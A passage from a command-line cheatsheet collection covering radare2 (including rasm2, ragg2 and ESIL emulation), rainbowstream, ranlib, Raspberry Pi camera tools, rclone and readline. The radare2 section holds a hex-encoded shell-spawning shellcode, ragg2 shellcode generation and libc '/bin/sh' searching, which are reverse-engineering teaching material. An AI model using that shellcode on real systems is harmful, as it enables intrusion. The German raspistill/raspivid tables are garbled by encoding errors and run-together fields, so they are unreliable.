    			sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so
    			sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so
    			sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack]

	+ To follow child processes in forks (set-follow-fork-mode in gdb)

		dcf until a fork happen then use dp to select what process you want to debug.

	+ PEDA like details
		
		drr;pd 10@-10;pxr 40@esp

	+ Debug in visual mode

		toggl breakpoints with F2
		single-step with F7 (s)
		step-over with F8 (S)
		continue with F9

# WebGUI
	
	=h: Start the server
	=H: Start server and browser

# rax2 - Base Conversion

	-e: Change endian
	
	-k: random ASCII art to represent a number/hash. Similar to how SSH represents keys
	
	-s: ASCII to hex
    		rax2 -S hola (from string to hex)
    		rax2 -s 686f6c61 (from hex to string)

	-S: binary to hex (for files)
	
	-N: pack an integer 
		rax2 -N 0x1234 # \x34\x12\x00\x00

# rahash2 - Entropy, hashes and checksums

	-a: Specify the algorithm

	-b XXX: Block size

	-B: Print all blocks

	-a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy)
	
	+ Rot13 with rahash2
		rahash2 -E rot -S s:13 -s ‘Hello\n’

# radiff2 - File diffing

	-s: Calculate text distance from two files.

	-d: Delta diffing (For files with different sizes. Its not byte per byte)

	-C: Code diffing (instead of data)

	+-------------------------------------------------------------------

	Diff original and patched on x86_32, using graphdiff algorithm
    		radiff2 -a x86 -b32 -C original patched

	Show differences between original and patched on x86_32
    		radiff2 -a x86 -b32 original patched :

	+-------------------------------------------------------------------

# rasm2 - Assembly/Disasembly
 
	-L: Supported architectures

	-a arch instruction: Sets architecture
    		rasm2 -a x86 'mov eax,30' => b81e000000

	-b tam: Sets block size

	-d: Disassembly
    		rasm2 -d b81e000000 => mov eax, 0x1e

	-C: Assembly in C output
    		rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00"

	-D: Disassemble showing hexpair and opcode
    		rasm2 -D b81e0000 => 0x00000000   5               b81e000000  mov eax, 0x1e

	-f: Read data from file instead of ARG.

	-t: Write data to file

	+ Disassemble shellcode from hex stdin

	+-------------------------------------------------------------------

	echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d -
		xor eax, eax
		movabs rbx, 0xff978cd091969dd1
		neg rbx
		push rbx
		push rsp
		pop rdi
		cdq
		push rdx
		push rdi
		push rsp
		pop rsi
		mov al, 0x3b
		syscall

	+-------------------------------------------------------------------

# rafind2 - Search

	-Z: Look for Zero terminated strings

	-s str: Look for specifc string

	-X: Hex dump around output

	+ Search "/bin/sh" in libc

		rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6

# ragg2 - Shellcode generator, C/opcode compiler

	P: Generate De Bruijn patterns
    		ragg2 -P 300 -r

	-a arch: Configure architecture

	-b bits: Specify architecture bits (32/64)

	-i shellcode: Specify shellcode to generate

	-e encoder: Specify encoder

	+ ragg2-cc: Generate shellcode from c

	+ Generate a x86, 32 bits exec shellcode
    		ragg2 -a x86 -b 32 -i exec

# rabin2 - Executable analysis: symbols, imports, strings

	-I: Executable information

	-C: Returns classes. Useful to list Java Classes

	-l: Dynamic linked libraries

	-s: Symbols

	-z: Strings

# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds

	r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits
	r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin

# ESIL emulation

	1) aei: Initialize ESIL VM
	
	2) aeim: Assign ESIL stack
		aeim 0xffffd000 0x1000 stack
	
	3) aeip: Program counter to current seek

	4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code)

	5) aes: Single stepping in emulation mode

	+ Toggle IL representation via O in Visual Mode

# ESIL Linear emulation

	Find all references to curr. address using linear esil emulation on all imports.
		
		/re$$@@ sym.imp.*

# ESIL IL Representation

	op 	esil
	------------
	mov 	=
	mul 	*
	div 	/
	and 	&
	neg	!
	read 	[]
	if 	?{
	add	+
	sub	-
	xor 	^
	or	|
	cmp	==
	write	=[]
	
	+ prefix is %
	+ carry from bit x -> %cx
	+ borrow from bit x -> %bx
	+ zero-flag -> %z
	+ parity of dst -> %p
	+ sign-flag -> %s
	+ overflow-flag -> %o

	+ BREAK - Stop parsing and emulate next instruction
	+ LOOP - restart emulation of instruction
	+ GOTO n - jump to n
	+ TODO - stop emulation and eprintf("TDOD %s", ins)

	x86			ESIL
	------------------------------------------------------
	mov eax, ebx		ebx,eax,=
	jz 0xaabbccdd		zf,?{,0xaabbccdd,eip,=,}
	cmp ecx,edx		edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,=
	push ebp		4,esp,-=ebp,esp,=[4]

	+ ESIL Doc
		https://github.com/radare/radare2book/blob/master/esil.md
	
# r2pipe commands

	+ Invoke r2pipe script via r2 cmdline
		
		[0x00000000]> #!pipe node script.js
		[0x00000000]> #!pipe python script.py

	+ Good collection:
		https://radare.org/get/r2pipe-nn2015.pdf
		https://github.com/jpenalbae/r2-scripts
# Parsing ELF
	
	!!! open with r2 -nn 

	+ Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..)

		[0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..
	
# pf Templates
	
	+ Generate templates for structs/enums with td command

		"td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};"

	https://github.com/Maijin/r2-pf-templates/

	+ Cast data @ <addr> to <type> and print it		
		
		tp <type>  = <address>

# r2scapy

	r2 -i r2scapy.py dump.bin
		[0x00000000]> scapy DNS 0x81de3c 48
		DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.'))
	
	+ generate packets with scapy
		>>> from scapy.all import *
		>>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)

# r2m2 -Miasm  Intermediate Representation Plugin
	
	+ Assemble and disassemble MIPS32 using rasm2

		r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d -
		ADDIU      A0, A1, 0x2

	+ Disassemble random MSP430 instructions in r2

		r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' -
            		0x00000000      07fa           and.w      R10, R7
            		0x00000002      47ad           dadd.b     R13, R7
            		0x00000004      f05e0778       add.b      @R14+, 0x7807(PC)
            		0x00000008      f46d81ed       addc.b     @R13+, 0xED81(R4)
            		0x0000000c      3fdc           bis.w      @R12+, R15
	+ Assemble MIPS32 using rasm2 and display the call graph using r2

		r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin

		r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin
        		,=< 0x00000000      0c000001       JAL        0x4
       			`-> 0x00000004      00000000       NOP

# bin carving with r2

	+ Open raw dump
		
		r2 -n dump.bin
	
	+ Searching for  magic
		
		[0x00000000]> / \x7fELF
		Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46
		0x00001340 hit0_0
		0x00001744 hit0_1
		...

	+ Dump 1M with at several hits

		[0x00000000]> b 1M
		[0x00000000]> wt @@ hit0*

	+ Automate it
		
		$ for a in dump.* ; do
		sz=`rabin2 -Z $a`     # get RBin.filesize
		r2 -wnqc"r $sz" $a  # resize file
		done

	http://radare.today/posts/carving-bins/

# r4ge - symbolic execution
	+ https://github.com/gast04/r4ge

	Usage: https://asciinema.org/a/155856

# r2wiki -Macro for using wiki in commandline
	
	+ https://github.com/securisec/r2wiki

	$wiki "query string"
	
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

144 - 🖥️rainbowstream

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rainbowstream command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ██████╗  █████╗ ██╗███╗   ██╗██████╗  ██████╗ ██╗    ██╗███████╗████████╗██████╗ ███████╗ █████╗ ███╗   ███╗
#    ██╔══██╗██╔══██╗██║████╗  ██║██╔══██╗██╔═══██╗██║    ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔══██╗████╗ ████║
#    ██████╔╝███████║██║██╔██╗ ██║██████╔╝██║   ██║██║ █╗ ██║███████╗   ██║   ██████╔╝█████╗  ███████║██╔████╔██║
#    ██╔══██╗██╔══██║██║██║╚██╗██║██╔══██╗██║   ██║██║███╗██║╚════██║   ██║   ██╔══██╗██╔══╝  ██╔══██║██║╚██╔╝██║
#    ██║  ██║██║  ██║██║██║ ╚████║██████╔╝╚██████╔╝╚███╔███╔╝███████║   ██║   ██║  ██║███████╗██║  ██║██║ ╚═╝ ██║
#    ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚══╝╚══╝ ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝
                                                                                                                            
                                                                                                                            

@commandlinefu3
@climagic
@shellfu
@UnixToolTip

# Twitter help

  # Discover the world 
    h discover 				# will show help for discover commands.
	trend 				# will show global trending topics. You can try trend US or trend JP Tokyo.
	home 				# will show your timeline. home 7 will show 7 tweets.
	me will 			# show your latest tweets. me 2 will show your last 2 tweets.
	notification 			# will show your recent notification.
	mentions will	 		# show mentions timeline. mentions 7 will show 7 mention tweets.
	whois @mdo 			# will show profile  of @mdo.
	view @mdo 			# will show @mdo's home.
	s AKB48 			# will search for "AKB48" and return 5 newest tweet. Search can be performed with or without hashtag.

    h tweets 				# will show help for tweets commands.
      # Tweets 
	t oops 				# will tweet "oops" immediately.
	rt 12  				# will retweet to tweet with [id=12].
	quote 12  			# will quote the tweet with [id=12]. If no extra text is added, the quote will be canceled.
	allrt 12 20  			# will list 20 newest retweet of the tweet with [id=12].
	conversation 12 		# will show the chain of replies prior to the tweet with [id=12].
	rep 12 oops 			# will reply "oops" to the owner of the tweet with [id=12].
	repall 12 oops 			# will reply "oops" to all people in the tweet with [id=12].
	fav 12  			# will favorite the tweet with [id=12].
	ufav 12  			# will unfavorite tweet with [id=12].
	share 12  			# will get the direct link of the tweet with [id=12].
	del 12  			# will delete tweet with [id=12].
	show image 12 			# will show image in tweet with [id=12] in your OS's image viewer.
	open 12 			# will open url in tweet with [id=12] in your OS's default browser.
	pt 12  				# will add tweet with [id=12] in your Pocket list.

  # Direct messages 
    h messages 				# will show help for messages commands.
	inbox 				# will show inbox messages. inbox 7 will show newest 7 messages.
	thread 2 			# will show full thread with [thread_id=2].
	mes @dtvd88 hi 			# will send a "hi" messege to @dtvd88.
	trash 5 			# will remove message with [message_id=5].

  # Friends and followers 
    h friends_and_followers 		# will show help for friends and followers commands.
	ls fl 				# will list all followers (people who are following you).
	ls fr 				# will list all friends (people who you are following).
	fl @dtvd88 			# will follow @dtvd88.
	ufl @dtvd88 			# will unfollow @dtvd88.
	mute @dtvd88 			# will mute @dtvd88.
	unmute @dtvd88 			# will unmute @dtvd88.
	muting 				# will list muting users.
	block @dtvd88 			# will block @dtvd88.
	unblock @dtvd88 		# will unblock @dtvd88.
	report @dtvd88 			# will report @dtvd88 as a spam account.

    h list 				# will show help for list commands.
	list will 			# show all lists you are belong to.
	list home 			# will show timeline of list. You will be asked for list's name.
	list all_mem 			# will show list's all members.
	list all_sub 			# will show list's all subscribers.
	list add 			# will add specific person to a list owned by you. You will be asked for list's name and person's name.
	list rm 			# will remove specific person from a list owned by you. You will be asked for lists name and persons name.
	list sub 			# will subscribe you to a specific list.
	list unsub 			# will unsubscribe you from a specific list.
	list own 			# will show all list owned by you.
	list new 			# will create a new list.
	list update 			# will update a list owned by you.
	list del 			# will delete a list owned by you.

    h stream 				# will show help for stream commands.
	switch public #AKB 		# will switch to public stream and follow "AKB" keyword.
	switch mine 			# will switch to your personal stream.
	switch mine -f  		# will prompt to enter the filter.
	  Only nicks filter 		# will decide nicks will be INCLUDE ONLY.
	  Ignore nicks filter 		# will decide nicks will be EXCLUDE.
	switch list 			# will switch to a Twitter list's stream. You will be asked for list name

  # Smart shell
    111111 * 9 / 7 			# or any math expression will be evaluate by Python interpreter.
    Even cal 				# will show the calendar for current month.

  # Config 
    theme 				# will list available theme. theme monokai will apply monokai theme immediately.
    config 				# will list all config.
      config ASCII_ART 			# will output current value of ASCII_ART config key.
      config TREND_MAX default 		# will output default value of TREND_MAX config key.
      config CUSTOM_CONFIG drop 	# will drop CUSTOM_CONFIG config key.
      config IMAGE_ON_TERM = true 	# will set value of IMAGE_ON_TERM config key to True.

  # Screening 
    h 					# will show this help again.
    p 					# will pause the stream.
    r 					# will unpause the stream.
    c 					# will clear the screen.
    v 					# will show version info.
    q 					# will quit.

	 
#==============================##==============================#
# CMD RAINBOWSTREAM						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

145 - 🖥️ranlib

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ranlib command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  █████╗ ███╗   ██╗██╗     ██╗██████╗ 
#  ██╔══██╗██╔══██╗████╗  ██║██║     ██║██╔══██╗
#  ██████╔╝███████║██╔██╗ ██║██║     ██║██████╔╝
#  ██╔══██╗██╔══██║██║╚██╗██║██║     ██║██╔══██╗
#  ██║  ██║██║  ██║██║ ╚████║███████╗██║██████╔╝
#  ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝╚═════╝

# ranlib
#
# generates an index to the contents of an archive and stores it in the archive.
# The index lists each symbol defined by a member of an archive that is a relocatable object file. 

# This creates an index of the contents of fruits.a and stores the index in fruits.a
# This is useful for linking and in case the objects call each other.
ranlib fruits.a
# after 
#   ar r fruits.a apple.o orange.o pineapple.o
# is called
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

146 - 🖥️raspistill

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the raspistill command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#      ██████╗  █████╗ ███████╗██████╗ ██╗███████╗████████╗██╗██╗     ██╗     
#      ██╔══██╗██╔══██╗██╔════╝██╔══██╗██║██╔════╝╚══██╔══╝██║██║     ██║     
#      ██████╔╝███████║███████╗██████╔╝██║███████╗   ██║   ██║██║     ██║     
#      ██╔══██╗██╔══██║╚════██║██╔═══╝ ██║╚════██║   ██║   ██║██║     ██║     
#      ██║  ██║██║  ██║███████║██║     ██║███████║   ██║   ██║███████╗███████╗
#      ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝╚══════╝   ╚═╝   ╚═╝╚══════╝╚══════╝

                                                                                      
Raspberry Pi: Raspistill und Raspivid Parameter

Wenn man im Besitz des Kamera Moduls für den Raspberry Pi ist, möchte man mit diesem natürlich auch Fotos und Videos erzeugen. Dazu bedient man sich in dem Betriebssystem Raspbain den Kommandos raspistill und raspivid, welche zahlreiche Parameter besitzen. Im Folgenden zunächst eine Auflistung aller Parameter, die in beiden Programmen benutzt werden können und daraufhin Parameter, die nur für das Image- bzw. Videocapture Programm geeignet sind.

--previewx,y,w,h–Vorschau des Ergebnisses in grafischer Oberflà       ¤che. X, Y, W und H müssen durch Position bzw. Größe des Fensters ersetzt werden
--outputPfad–Speicherort und -name für das Bild
--fullscreen––                          Vorschau im Vollbildmodus
--nopreview––Verhindert Zeigen einer              Vorschau
--sharpness-100 bis 1000Schärfe des Bildes
--contrast-100                 bis 1000Kontrast des Bildes
--brightness-100 bis 1000Helligkeit d                       es Bildes
--saturation-100 bis 1000Sättigung des Bildes
--ISO–â             €“ISO Wert des Sensors (noch nicht verfügbar)
--ev-10 bis 100Belic                    htungskorrektur des Bildes
--exposureauto (automatisch)
night (Nachauf nahme)
nightpreview (Nachaufnahme)
backlight (Hintergrund bevorzugen)
spotlight (Bildmittelpunkt)
sports (kurze Belichtungszeit)
snow (Schneeszenerien)
beach (Strandszenerien)
fireworks (Feuerwerk)
verylong (Extra lange Belichtung)
fixedfps (Konstante Belichtung)
antishake (bildstabilisierend)Modi für Belichtungszeit
--awbauto (automatisch)
sun (sonnig)        
cloud (wolkig)
shade (schattig)
tungsten (Wolframlicht)
fluorescent (schilderndes Licht)
incandescent (Glühbirne)
flash (Blitzlicht)
horizonWeißabgl     eich im Bild
--imxfxListe aller Modi in RaspiCam Dokumentation (siehe    unten)Effekte (á la Instagram)
--hflip––Horizontales Drehen de                   s Bildes
--vflip––Vertikales Drehen des Bildes
--rotation0 bis                    3590Drehung des Bildes
--verbose––Ausgabe von Debuginformation                     en
Im Folgenden Parameter, die nur für raspistill gelten:

PARAMETERW     ERTESTANDARDWERTFUNKTION
--imxfxListe aller Modi in RaspiCam Dokumen            tationEffekte (á la Instagram)
--widthmax. 25922592Breite des Bild                    es in Pixel
--heightmax. 19441944Höhe des Bildes in Pixel
--quality                1 bis 100?Qualität des Bildes (für JPEG-Komprimierung)
--raw–â        €“Fügt der Bilddatei die RAW Bayer Data hinzu
--timeoutmin. 100500                    Zeit bis Bild ausgelöst wird in Millisekunden
--timelapsemind. 1–           Intervall in Millisekunden indem Foto ausgelöst werden soll. %d muss als Variable im Dateinamen definiert sein.
--thumbx:y:q64:48:35Erstel              lt Thumbnail des Bildes. X und Y definier Breite bzw. Höhe des Bildes und Q die JPEG-Komprimierung
--encodingjpg, bmp, gif, pngjpgDateiforma              t der Ausgabe
--exifkey=value–Fügt dem Bild eine EXIF-Information               hinzu

######

###############################

# With the camera module connected and enabled, enter the following command in the Terminal to take a picture:
raspistill -o cam.jpg

# With the camera placed upside-down, the image must be rotated 180° to be displayed correctly. The way to correct for this is to apply both a vertical and a horizontal flip by passing in the -vf and -hf flags:
raspistill -vf -hf -o cam2.jpg

# For a full list of possible options, run raspistill with no arguments. To scroll, redirect stderr to stdout and pipe the output to less:
raspistill 2>&1 | less

#!/bin/bash
# You can create a Bash script which takes a picture with the camera. To create a script, open up your editor of choice and write the following example code:

DATE=$(date +"%Y-%m-%d_%H%M")

raspistill -vf -hf -o /home/pi/camera/$DATE.jpg

####################

#==============================##==============================#
# CMD RASPISTILL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

147 - 🖥️raspivid

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the raspivid command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  █████╗ ███████╗██████╗ ██╗██╗   ██╗██╗██████╗ 
#                ██╔══██╗██╔══██╗██╔════╝██╔══██╗██║██║   ██║██║██╔══██╗
#                ██████╔╝███████║███████╗██████╔╝██║██║   ██║██║██║  ██║
#                ██╔══██╗██╔══██║╚════██║██╔═══╝ ██║╚██╗ ██╔╝██║██║  ██║
#                ██║  ██║██║  ██║███████║██║     ██║ ╚████╔╝ ██║██████╔╝
#                ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝  ╚═══╝  ╚═╝╚═════╝ 
                                                                       
                                                                       
                                                                     
Im Folgenden Parameter, die nur für raspivid gelten:

PARAMETERWERTESTANDARDWERTFUNKTION
--vstab––E                              inschalten des Bildstabilisators
--width64 bis 19201920Breite des Vi               deos in Pixel
--height64 bis 10801080Höhe des Videos in Pixel
--bit               ratemind. 10 Mbits/s empfohlen; 15 MBit/s bei 1080p?Bitrate des Vide            os in Bit
-t1 bis ∞10000Aufnahmedauer in Millisekunden
--framerate                   2 bis 30–Bilder pro Sekunde (FPS)
--penc––Zeige Vorschau er                         st nach Enkodierung

#==============================##==============================#
# CMD RASPIVID						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

148 - 🖥️rclone

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rclone command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗██╗      ██████╗ ███╗   ██╗███████╗
#  ██╔══██╗██╔════╝██║     ██╔═══██╗████╗  ██║██╔════╝
#  ██████╔╝██║     ██║     ██║   ██║██╔██╗ ██║█████╗  
#  ██╔══██╗██║     ██║     ██║   ██║██║╚██╗██║██╔══╝  
#  ██║  ██║╚██████╗███████╗╚██████╔╝██║ ╚████║███████╗
#  ╚═╝  ╚═╝ ╚═════╝╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝

# rclone is a command line tool, similar to rsync, with the difference that
# it can sync, move, copy, and in general do other file operations on cloud services

# Config rclone
rclone config

# Lists a re
rclone ls remote:path

# Copy /local/path to the remote
rclone copy /local/path remote:path

# Sync /local/path to the remote
rclone sync /local/path remote:path 

# Server side Copy
rclone copy s3:oldbucket s3:newbucket
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

149 - 🖥️readline

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the readline command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#        ██████╗ ███████╗ █████╗ ██████╗ ██╗     ██╗███╗   ██╗███████╗
#        ██╔══██╗██╔════╝██╔══██╗██╔══██╗██║     ██║████╗  ██║██╔════╝
#        ██████╔╝█████╗  ███████║██║  ██║██║     ██║██╔██╗ ██║█████╗  
#        ██╔══██╗██╔══╝  ██╔══██║██║  ██║██║     ██║██║╚██╗██║██╔══╝  
#        ██║  ██║███████╗██║  ██║██████╔╝███████╗██║██║ ╚████║███████╗
#        ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝╚═╝  ╚═══╝╚══════╝
                                                                             
                                                                             
                                                                           
    Moving around
Ctrl-b      Move the cursor             one character               ⇦ to the left
Ctrl-f      Move the cursor             one character               ⇨ to the right
Alt-b       Move the cursor             one word                    ⇦ to the left
Alt-f       Move the cursor             one word                    ⇨ to the right
Ctrl-a      Move the cursor                                         ⇤ to the start of the line
Ctrl-e      Move the cursor                                         ⇥ to the end of the line
Ctrl-x-x    Move the cursor                                         ⇤⇥ to the start, and to the end again

    Cut, copy and paste
Backspace   Delete                      the character               ⇦ to the left of the cursor
DEL
Ctrl-d      Delete                      the character               underneath the cursor
Ctrl-u      Delete                      everything                  ⇤ from the cursor back to the line start
Ctrl-k      Delete                      everything                  ⇥ from the cursor to the end of the line
Alt-d       Delete                      word                        ⇨ until before the next word boundary
Ctrl-w      Delete                      word                        ⇦ until after the previous word boundary
